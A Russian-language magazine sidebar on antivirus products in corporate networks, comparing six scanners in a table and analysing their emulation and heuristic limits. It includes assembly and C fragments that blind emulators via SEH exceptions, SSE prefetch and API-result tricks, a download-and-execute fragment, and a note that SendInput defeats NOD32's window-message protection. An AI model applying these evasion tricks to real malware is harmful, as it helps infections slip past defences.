антивирусы в корпоративной среде (дополнения)

крис касперски, ака мыщъх, no-email

>>> врезка сравнительная характеристика различных антивирусов

*	KAV	Dr. Web	Trend-Micro	Symantec	NOD32	McAfee
коэффициент детекции на эвристике	13%	16%	0%	7%	87%	33%
кол-во наград VB100% (virus bulletin)	36	39	15	36	42	28
кол-во нераспознаваемых вирусов с '98 по '07	33	27	68	29	0	64
процент распознавания 16-days old вирусов	7%	10%	0%	7%	87%	33%
среднее кол-во обновлений в неделю	150	н/д	1	7	16	5
унифицированный эвристический сканер	-	-	-	-	+	-
эвристический анализатор	+		-	+	+	+
детектор общих сигнатур (genetic signatures)	+	+	-	-	+	-
эмулятор ЦП	+		-	+	+	+
продвинутый (advanced) эмулятор ЦП	+	+	-	-	+	-
эмуляция стека	-	-	-	-	+	-
эмуляция SSE команд	-	-	-	-	-	-
эмулятор API-функций Windows	-		-	-	-	-
эмуляция самомодифицирующегося кода	-	-	-	-	-	-
детектор фишинга (phishing detector)	-		-	-	+	-
противодействие WM_ атакам	-	-	-	-	+	-
сертификат ICSA	-	-	+	+	+	+

Таблица 1 сравнительная характеристика различных антивирусов по данным ESET, AV-Comparatives, Virus Total и Virus Bulletin

>>> врезка технологии эмуляции

Виртуальная машина, эмулирующая ЦП, необходима антивирусу по меньшей для трех целей: а) распаковки файлов, упакованных неизвестным упаковщиком, б) борьбы с "джойнерами", объединяющими известный вирус с "честной" программой в один исполняемый файл; в) распознанию неизвестных вирусов.

Самые мощные эмуляторы реализованы в NOD32, KAV и Dr. Web. Они реализуют достаточно полный набор арифметическо-логических команд x86 процессоров (generic x86 command set), однако, все еще не эмулируют SSE-команды, самомодифицирующийся код, структурные исключения и API-функции операционной системы, а потому принципиально неспособны распаковывать вирусы, обработанные навороченными протекторами или упаковщиками исполняемых файлов, которые приходится распаковывать на статических распаковщиках, написанных вручную.

В частности, следующий код (см. листинг 1) передает управление на тело вируса путем возбуждения исключения типа "ошибка доступа", о которой не подозревает ни один из трех обозначенных антивирусов и все они видят здесь лишь невинный возврат из функции.

```
PUSH 00315E01h                          ; адрес скрытой вирусной процедуры
PUSH dword ptr FS:[00000000h]           ; адрес предыдущего SEH-обработчика
MOV dword ptr FS:[00000000h], ESP       ; регистрируем новый SEH-обработчик
MOV EAX, dword ptr DS:[00000000h]       ; возбуждаем исключение, передавая
                                        ; управление на скрытую вирусную
                                        ; процедуру (антивирусы этого не видят)

RET                                     ; выходим из функции
```

Листинг 1 ослепление эмулятора путем возбуждения исключения

Аналогичным образом обстоят дела и с эвристическим анализом. Поскольку, процессоры семейства x86 имеют переменную длину машинных команд, встреча с неизвестной инструкцией делает дальнейшее декодирование потока выполнения невозможным.

```
0F 18 00       PREFECTCH [EAX]          ; SSE команда (неизвестная AVs'ам)
B8 01 E0 15 03 MOV EAX, 00315E01h       ; заносим адрес вирусной процедуры в EAX
FF E0          JMP EAX                  ; передаем управление вирусной процедуре
```

Листинг 2 ослепление эвристического анализатора путем использования SSE-команды prefetch [eax] (предвыбрка из памяти)

В частности, встретив SSE-команду prefetch [eax] (см. листинг 2), ни KAV, ни Dr. Web даже не пытаются продолжить выполнение потока инструкций. NOD32 пытается, но это у него мягко говоря не совсем получается. Анализ внутренних цепей эмулятора, выполненный автором, показывает, что NOD32 декодирует код следующим образом (см. листинг 3).

```
0F 18                unknown               ; NOD32 не знает такой команды
00 B8 01 E0 15 03    ADD [EAX+00315E01h],BH ; добавить к ячейке EAX+00315E01h рег. BH
FF E0                JMP EAX               ; прыгнуть на EAX
```

Листинг 3 так NOD32 декодирует листинг 2

NOD32, столкнувшись с неизвестную ему SSE-командой prefetch [eax], пытается определить ее границы эвристическим путем, чтобы продолжить декодирование остального потока инструкций, но делает это неверно, ошибочно отрывая один байт от prefetch [eax] и присваивая его следующей за ним машинной команде, в результате чего MOV EAX,00315E01h (занести в регистр EAX значение 00315E01h) превращается в ADD [EAX+00315E01h],BH (сложить содержимое ячейки EAX+00315E01h с регистром BH). Как следствие — регистр EAX остается неинициализированным и по команде JMP EAX эмулятор переходит в "космос", стреляя мимо вирусной процедуры.

Тем не менее, в некоторых случаях NOD'у все же удается угадать границы неизвестных ему машинных команд и декодировать остальной поток инструкций, к тому же, в отличии от KAV'a и Dr. Web'a он эмулирует стек, отслеживая некоторые хитрые способы передачи управления (типа модификации адреса возврата).

Если же декодировать поток инструкций не удается, то все три обозначенных антивируса ищут в файле так называемые "общие вирусные сигнатуры" (genetic signatures), то есть последовательности машинных команд, характерные для вирусов, но редко встречающиеся в честном программном обеспечении.

В частности, следующий фрагмент (см. листинг 4) вызывает срабатывание эвристического анализатора всех трех обозначенных антивирусов независимо от того, удалось ли эмулятору декодировать поток инструкций или нет:

```
; // получаем путь к каталогу %TEMP%
invoke GetTempPath, 256,  WinTempDir
; // копируем имя каталога %TEMP% в буфер FullPath,
; // добавляя туда его имя, под которым он будет записан на диск
invoke lstrcpy, FullPath, WinTempDir
invoke lstrcat, FullPath, FileNameToSave

; // скачиваем файл из сети
invoke URLDownloadToFile, 0, UrlOfFile, FullPath, 0, 0

; // запускаем скаченный файл
invoke ShellExecute, NULL, NULL,  FullPath, NULL, NULL,1
```

Листинг 4 вирусный фрагмент, скачивающий файл из сети и тут же его запускающий

Антивирусы Symantec и McAfee формально поддерживают эвристический анализатор, однако, эмулируют лишь небольшой набор x86-инструкций, органически неспособный распаковывать неизвестные упаковщики и справляющийся только с простейшими вирусами, поэтому надеяться словить заразу, отсутствующую в базе, с их помощью — наивно, причем базы у них обновляются значительно реже чем у KAV'a и NOD'a (см. таблицу 1), причем, McAfee (и в меньшей степени Symantec) страдают хроническим "пропуском" вирусов, занося их в базы со значительным опозданием или же не занося их вообще.

Антивирус Trend-Micro вообще не поддерживает технологий эмуляции, редко обновляет базы и пропускает множество вирусов, с которыми легко справляются его конкуренты.

>>> врезка эмуляция API-функций Windows

Эмулировать API-функции операционной системы ни один из антивирусов пока что не научился, что открывает широкие просторы для хакерства. Ладно, если бы антивирусы их совсем не эмулировали, так ведь нет! Они пытаются предсказать результат выполнения некоторых, наиболее распространенных функций, в частности, полагая, что функция открытия

файла CreateFileA всегда возвращает позитивный результат и никогда не заглядывают в обработчик ситуации INVALID_HANDLE_VALUE (неверный дескриптор файла).

Следующий код обманывает эвристические анализаторы всех, рассматриваемых нами, антивирусов:

```
HANDLE h = CreateFileA("C:\System Volume Information",
                                FILE_READ_ACCESS, 0, 0, OPEN_EXISTING, 0, NULL);
if (h != INVALID_HANDLE_VALUE)
{
       /* вирусная процедура */
}
```

Листинг 5 ослепление эвристического анализатора путем размещения вирусной процедуры в обработчике ошибки открытия файла C:\System Volume Information, который на NTFS-разделах недоступен даже для чтения

>>> врезка защита от WM_ атак

Оконная подсистема Windows позволяет любому приложению независимо от его уровня привилегий посылать сообщения (Windows Message или сокращенно WM_) окнам более привилегированных приложений, имитируя клавиатурный и/или мышиный ввод. Достаточно многие вирусы отключают proактивные антивирусные защиты через пользовательский интерфейс или периодически просматривают список окон, закрывая окно известного им антивируса при его обнаружении, что делает невозможным локальное сканирование файловой системы. И хотя сканирование по сети все еще остается возможным, оно принципиально не способно обнаружить маскирующиеся вирусы и rootkit'ы.

Единственный антивирус, который предпринимает попытки защиты от WM_ атак — это NOD32, хотя хакеры уже давно научились обходить его используя низкоуровневые функции имитации ввода (NOD32 защищается только от посылки сообщений посредством API-функций SendMessage и PostMessage, но "забывает" про документированную API-функцию SendInput, описание которой содержится в Platform SDK).